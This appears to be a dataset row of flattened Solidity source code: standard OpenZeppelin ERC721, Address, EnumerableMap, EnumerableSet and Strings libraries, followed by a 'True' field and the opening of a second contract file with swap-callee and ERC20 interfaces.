* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
* and stop existing when they are burned (`_burn`).
*/
function _exists(uint256 tokenId) internal view virtual returns (bool) {
return _tokenOwners.contains(tokenId);
}
/**
* @dev Returns whether `spender` is allowed to manage `tokenId`.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) {
require(_exists(tokenId), "ERC721: operator query for nonexistent token");
address owner = ERC721.ownerOf(tokenId);
return (spender == owner || getApproved(tokenId) == spender || ERC721.isApprovedForAll(owner, spender));
}
/**
* @dev Safely mints `tokenId` and transfers it to `to`.
*
* Requirements:
d*
* - `tokenId` must not exist.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeMint(address to, uint256 tokenId) internal virtual {
_safeMint(to, tokenId, "");
}
/**
* @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is
* forwarded in {IERC721Receiver-onERC721Received} to contract recipients.
*/
function _safeMint(address to, uint256 tokenId, bytes memory _data) internal virtual {
_mint(to, tokenId);
require(_checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
/**
* @dev Mints `tokenId` and transfers it to `to`.
*
* WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible
*
* Requirements:
*
* - `tokenId` must not exist.
* - `to` cannot be the zero address.
*
* Emits a {Transfer} event.
*/
function _mint(address to, uint256 tokenId) internal virtual {
require(to != address(0), "ERC721: mint to the zero address");
require(!_exists(tokenId), "ERC721: token already minted");
_beforeTokenTransfer(address(0), to, tokenId);
_holderTokens[to].add(tokenId);
_tokenOwners.set(tokenId, to);
emit Transfer(address(0), to, tokenId);
}
/**
* @dev Destroys `tokenId`.
* The approval is cleared when the token is burned.
*
* Requirements:
*
* - `tokenId` must exist.
*
* Emits a {Transfer} event.
*/
function _burn(uint256 tokenId) internal virtual {
address owner = ERC721.ownerOf(tokenId); // internal owner
_beforeTokenTransfer(owner, address(0), tokenId);
// Clear approvals
_approve(address(0), tokenId);
// Clear metadata (if any)
if (bytes(_tokenURIs[tokenId]).length != 0) {
delete _tokenURIs[tokenId];
}
_holderTokens[owner].remove(tokenId);
_tokenOwners.remove(tokenId);
emit Transfer(owner, address(0), tokenId);
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
* As opposed to {transferFrom}, this imposes no restrictions on msg.sender.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(address from, address to, uint256 tokenId) internal virtual {
require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own"); // internal owner
require(to != address(0), "ERC721: transfer to the zero address");
_beforeTokenTransfer(from, to, tokenId);
// Clear approvals from the previous owner
_approve(address(0), tokenId);
_holderTokens[from].remove(tokenId);
_holderTokens[to].add(tokenId);
_tokenOwners.set(tokenId, to);
emit Transfer(from, to, tokenId);
}
/**
* @dev Sets `_tokenURI` as the tokenURI of `tokenId`.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function _setTokenURI(uint256 tokenId, string memory _tokenURI) internal virtual {
require(_exists(tokenId), "ERC721Metadata: URI set of nonexistent token");
_tokenURIs[tokenId] = _tokenURI;
}
/**
* @dev Internal function to set the base URI for all token IDs. It is
* automatically added as a prefix to the value returned in {tokenURI},
* or to the token ID if {tokenURI} is empty.
*/
function _setBaseURI(string memory baseURI_) internal virtual {
_baseURI = baseURI_;
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
* The call is not executed if the target address is not a contract.
*
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(address from, address to, uint256 tokenId, bytes memory _data)
private returns (bool)
{
if (!to.isContract()) {
return true;
}
bytes memory returndata = to.functionCall(abi.encodeWithSelector(
IERC721Receiver(to).onERC721Received.selector,
_msgSender(),
from,
tokenId,
_data
), "ERC721: transfer to non ERC721Receiver implementer");
bytes4 retval = abi.decode(returndata, (bytes4));
return (retval == _ERC721_RECEIVED);
}
/**
* @dev Approve `to` to operate on `tokenId`
*
* Emits an {Approval} event.
*/
function _approve(address to, uint256 tokenId) internal virtual {
_tokenApprovals[tokenId] = to;
emit Approval(ERC721.ownerOf(tokenId), to, tokenId); // internal owner
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 tokenId) internal virtual { }
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.0;
import "../../introspection/IERC165.sol";
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721 is IERC165 {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(address from, address to, uint256 tokenId) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(address from, address to, uint256 tokenId) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(address from, address to, uint256 tokenId, bytes calldata data) external;
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.0;
import "./IERC721.sol";
/**
* @title ERC-721 Non-Fungible Token Standard, optional enumeration extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Enumerable is IERC721 {
/**
* @dev Returns the total amount of tokens stored by the contract.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns a token ID owned by `owner` at a given `index` of its token list.
* Use along with {balanceOf} to enumerate all of ``owner``'s tokens.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId);
/**
* @dev Returns a token ID at a given `index` of all the tokens stored by the contract.
* Use along with {totalSupply} to enumerate all tokens.
*/
function tokenByIndex(uint256 index) external view returns (uint256);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.0;
import "./IERC721.sol";
/**
* @title ERC-721 Non-Fungible Token Standard, optional metadata extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Metadata is IERC721 {
/**
* @dev Returns the token collection name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the token collection symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
*/
function tokenURI(uint256 tokenId) external view returns (string memory);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.0;
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
interface IERC721Receiver {
/**
* @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
* by `operator` from `from`, this function is called.
*
* It must return its Solidity selector to confirm the token transfer.
* If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
*
* The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.
*/
function onERC721Received(address operator, address from, uint256 tokenId, bytes calldata data) external returns (bytes4);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.0;
/**
* @dev Library for managing an enumerable variant of Solidity's
* https://solidity.readthedocs.io/en/latest/types.html#mapping-types[`mapping`]
* type.
*
* Maps have the following properties:
*
* - Entries are added, removed, and checked for existence in constant time
* (O(1)).
* - Entries are enumerated in O(n). No guarantees are made on the ordering.
*
* ```
* contract Example {
* // Add the library methods
* using EnumerableMap for EnumerableMap.UintToAddressMap;
*
* // Declare a set state variable
* EnumerableMap.UintToAddressMap private myMap;
* }
* ```
*
* As of v3.0.0, only maps of type `uint256 -> address` (`UintToAddressMap`) are
* supported.
*/
library EnumerableMap {
// To implement this library for multiple types with as little code
// repetition as possible, we write it in terms of a generic Map type with
// bytes32 keys and values.
// The Map implementation uses private functions, and user-facing
// implementations (such as Uint256ToAddressMap) are just wrappers around
// the underlying Map.
// This means that we can only create new EnumerableMaps for types that fit
// in bytes32.
struct MapEntry {
bytes32 _key;
bytes32 _value;
}
struct Map {
// Storage of map keys and values
MapEntry[] _entries;
// Position of the entry defined by a key in the `entries` array, plus 1
// because index 0 means a key is not in the map.
mapping (bytes32 => uint256) _indexes;
}
/**
* @dev Adds a key-value pair to a map, or updates the value for an existing
* key. O(1).
*
* Returns true if the key was added to the map, that is if it was not
* already present.
*/
function _set(Map storage map, bytes32 key, bytes32 value) private returns (bool) {
// We read and store the key's index to prevent multiple reads from the same storage slot
uint256 keyIndex = map._indexes[key];
if (keyIndex == 0) { // Equivalent to !contains(map, key)
map._entries.push(MapEntry({ _key: key, _value: value }));
// The entry is stored at length-1, but we add 1 to all indexes
// and use 0 as a sentinel value
map._indexes[key] = map._entries.length;
return true;
} else {
map._entries[keyIndex - 1]._value = value;
return false;
}
}
/**
* @dev Removes a key-value pair from a map. O(1).
*
* Returns true if the key was removed from the map, that is if it was present.
*/
function _remove(Map storage map, bytes32 key) private returns (bool) {
// We read and store the key's index to prevent multiple reads from the same storage slot
uint256 keyIndex = map._indexes[key];
if (keyIndex != 0) { // Equivalent to contains(map, key)
// To delete a key-value pair from the _entries array in O(1), we swap the entry to delete with the last one
// in the array, and then remove the last entry (sometimes called as 'swap and pop').
// This modifies the order of the array, as noted in {at}.
uint256 toDeleteIndex = keyIndex - 1;
uint256 lastIndex = map._entries.length - 1;
// When the entry to delete is the last one, the swap operation is unnecessary. However, since this occurs
// so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement.
MapEntry storage lastEntry = map._entries[lastIndex];
// Move the last entry to the index where the entry to delete is
map._entries[toDeleteIndex] = lastEntry;
// Update the index for the moved entry
map._indexes[lastEntry._key] = toDeleteIndex + 1; // All indexes are 1-based
// Delete the slot where the moved entry was stored
map._entries.pop();
// Delete the index for the deleted slot
delete map._indexes[key];
return true;
} else {
return false;
}
}
/**
* @dev Returns true if the key is in the map. O(1).
*/
function _contains(Map storage map, bytes32 key) private view returns (bool) {
return map._indexes[key] != 0;
}
/**
* @dev Returns the number of key-value pairs in the map. O(1).
*/
function _length(Map storage map) private view returns (uint256) {
return map._entries.length;
}
/**
* @dev Returns the key-value pair stored at position `index` in the map. O(1).
*
* Note that there are no guarantees on the ordering of entries inside the
* array, and it may change when more entries are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function _at(Map storage map, uint256 index) private view returns (bytes32, bytes32) {
require(map._entries.length > index, "EnumerableMap: index out of bounds");
MapEntry storage entry = map._entries[index];
return (entry._key, entry._value);
}
/**
* @dev Tries to returns the value associated with `key`. O(1).
* Does not revert if `key` is not in the map.
*/
function _tryGet(Map storage map, bytes32 key) private view returns (bool, bytes32) {
uint256 keyIndex = map._indexes[key];
if (keyIndex == 0) return (false, 0); // Equivalent to contains(map, key)
return (true, map._entries[keyIndex - 1]._value); // All indexes are 1-based
}
/**
* @dev Returns the value associated with `key`. O(1).
*
* Requirements:
*
* - `key` must be in the map.
*/
function _get(Map storage map, bytes32 key) private view returns (bytes32) {
uint256 keyIndex = map._indexes[key];
require(keyIndex != 0, "EnumerableMap: nonexistent key"); // Equivalent to contains(map, key)
return map._entries[keyIndex - 1]._value; // All indexes are 1-based
}
/**
* @dev Same as {_get}, with a custom error message when `key` is not in the map.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {_tryGet}.
*/
function _get(Map storage map, bytes32 key, string memory errorMessage) private view returns (bytes32) {
uint256 keyIndex = map._indexes[key];
require(keyIndex != 0, errorMessage); // Equivalent to contains(map, key)
return map._entries[keyIndex - 1]._value; // All indexes are 1-based
}
// UintToAddressMap
struct UintToAddressMap {
Map _inner;
}
/**
* @dev Adds a key-value pair to a map, or updates the value for an existing
* key. O(1).
*
* Returns true if the key was added to the map, that is if it was not
* already present.
*/
function set(UintToAddressMap storage map, uint256 key, address value) internal returns (bool) {
return _set(map._inner, bytes32(key), bytes32(uint256(uint160(value))));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the key was removed from the map, that is if it was present.
*/
function remove(UintToAddressMap storage map, uint256 key) internal returns (bool) {
return _remove(map._inner, bytes32(key));
}
/**
* @dev Returns true if the key is in the map. O(1).
*/
function contains(UintToAddressMap storage map, uint256 key) internal view returns (bool) {
return _contains(map._inner, bytes32(key));
}
/**
* @dev Returns the number of elements in the map. O(1).
*/
function length(UintToAddressMap storage map) internal view returns (uint256) {
return _length(map._inner);
}
/**
* @dev Returns the element stored at position `index` in the set. O(1).
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(UintToAddressMap storage map, uint256 index) internal view returns (uint256, address) {
(bytes32 key, bytes32 value) = _at(map._inner, index);
return (uint256(key), address(uint160(uint256(value))));
}
/**
* @dev Tries to returns the value associated with `key`. O(1).
* Does not revert if `key` is not in the map.
*
* _Available since v3.4._
*/
function tryGet(UintToAddressMap storage map, uint256 key) internal view returns (bool, address) {
(bool success, bytes32 value) = _tryGet(map._inner, bytes32(key));
return (success, address(uint160(uint256(value))));
}
/**
* @dev Returns the value associated with `key`. O(1).
*
* Requirements:
*
* - `key` must be in the map.
*/
function get(UintToAddressMap storage map, uint256 key) internal view returns (address) {
return address(uint160(uint256(_get(map._inner, bytes32(key)))));
}
/**
* @dev Same as {get}, with a custom error message when `key` is not in the map.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryGet}.
*/
function get(UintToAddressMap storage map, uint256 key, string memory errorMessage) internal view returns (address) {
return address(uint160(uint256(_get(map._inner, bytes32(key), errorMessage))));
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.0;
/**
* @dev Library for managing
* https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive
* types.
*
* Sets have the following properties:
*
* - Elements are added, removed, and checked for existence in constant time
* (O(1)).
* - Elements are enumerated in O(n). No guarantees are made on the ordering.
*
* ```
* contract Example {
* // Add the library methods
* using EnumerableSet for EnumerableSet.AddressSet;
*
* // Declare a set state variable
* EnumerableSet.AddressSet private mySet;
* }
* ```
*
* As of v3.3.0, sets of type `bytes32` (`Bytes32Set`), `address` (`AddressSet`)
* and `uint256` (`UintSet`) are supported.
*/
library EnumerableSet {
// To implement this library for multiple types with as little code
// repetition as possible, we write it in terms of a generic Set type with
// bytes32 values.
// The Set implementation uses private functions, and user-facing
// implementations (such as AddressSet) are just wrappers around the
// underlying Set.
// This means that we can only create new EnumerableSets for types that fit
// in bytes32.
struct Set {
// Storage of set values
bytes32[] _values;
// Position of the value in the `values` array, plus 1 because index 0
// means a value is not in the set.
mapping (bytes32 => uint256) _indexes;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function _add(Set storage set, bytes32 value) private returns (bool) {
if (!_contains(set, value)) {
set._values.push(value);
// The value is stored at length-1, but we add 1 to all indexes
// and use 0 as a sentinel value
set._indexes[value] = set._values.length;
return true;
} else {
return false;
}
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function _remove(Set storage set, bytes32 value) private returns (bool) {
// We read and store the value's index to prevent multiple reads from the same storage slot
uint256 valueIndex = set._indexes[value];
if (valueIndex != 0) { // Equivalent to contains(set, value)
// To delete an element from the _values array in O(1), we swap the element to delete with the last one in
// the array, and then remove the last element (sometimes called as 'swap and pop').
// This modifies the order of the array, as noted in {at}.
uint256 toDeleteIndex = valueIndex - 1;
uint256 lastIndex = set._values.length - 1;
// When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs
// so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement.
bytes32 lastvalue = set._values[lastIndex];
// Move the last value to the index where the value to delete is
set._values[toDeleteIndex] = lastvalue;
// Update the index for the moved value
set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based
// Delete the slot where the moved value was stored
set._values.pop();
// Delete the index for the deleted slot
delete set._indexes[value];
return true;
} else {
return false;
}
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function _contains(Set storage set, bytes32 value) private view returns (bool) {
return set._indexes[value] != 0;
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function _length(Set storage set) private view returns (uint256) {
return set._values.length;
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function _at(Set storage set, uint256 index) private view returns (bytes32) {
require(set._values.length > index, "EnumerableSet: index out of bounds");
return set._values[index];
}
// Bytes32Set
struct Bytes32Set {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(Bytes32Set storage set, bytes32 value) internal returns (bool) {
return _add(set._inner, value);
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(Bytes32Set storage set, bytes32 value) internal returns (bool) {
return _remove(set._inner, value);
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(Bytes32Set storage set, bytes32 value) internal view returns (bool) {
return _contains(set._inner, value);
}
/**
* @dev Returns the number of values in the set. O(1).
*/
function length(Bytes32Set storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(Bytes32Set storage set, uint256 index) internal view returns (bytes32) {
return _at(set._inner, index);
}
// AddressSet
struct AddressSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(AddressSet storage set, address value) internal returns (bool) {
return _add(set._inner, bytes32(uint256(uint160(value))));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(AddressSet storage set, address value) internal returns (bool) {
return _remove(set._inner, bytes32(uint256(uint160(value))));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(AddressSet storage set, address value) internal view returns (bool) {
return _contains(set._inner, bytes32(uint256(uint160(value))));
}
/**
* @dev Returns the number of values in the set. O(1).
*/
function length(AddressSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(AddressSet storage set, uint256 index) internal view returns (address) {
return address(uint160(uint256(_at(set._inner, index))));
}
// UintSet
struct UintSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(UintSet storage set, uint256 value) internal returns (bool) {
return _add(set._inner, bytes32(value));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(UintSet storage set, uint256 value) internal returns (bool) {
return _remove(set._inner, bytes32(value));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(UintSet storage set, uint256 value) internal view returns (bool) {
return _contains(set._inner, bytes32(value));
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function length(UintSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(UintSet storage set, uint256 index) internal view returns (uint256) {
return uint256(_at(set._inner, index));
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.0;
/**
* @dev String operations.
*/
library Strings {
/**
* @dev Converts a `uint256` to its ASCII `string` representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
uint256 index = digits - 1;
temp = value;
while (temp != 0) {
buffer[index--] = bytes1(uint8(48 + temp % 10));
temp /= 10;
}
return string(buffer);
}
}
|
True
|
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] |
// File: interfaces/ISafeSwapV2Callee.sol
pragma solidity >=0.5.0;
interface ISafeSwapV2Callee {
function SafeSwapV2Call(address sender, uint amount0, uint amount1, bytes calldata data) external;
}
// File: interfaces/IERC20.sol
pragma solidity >=0.5.0;
interface IERC20 {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
function totalSupply() external view returns (uint);
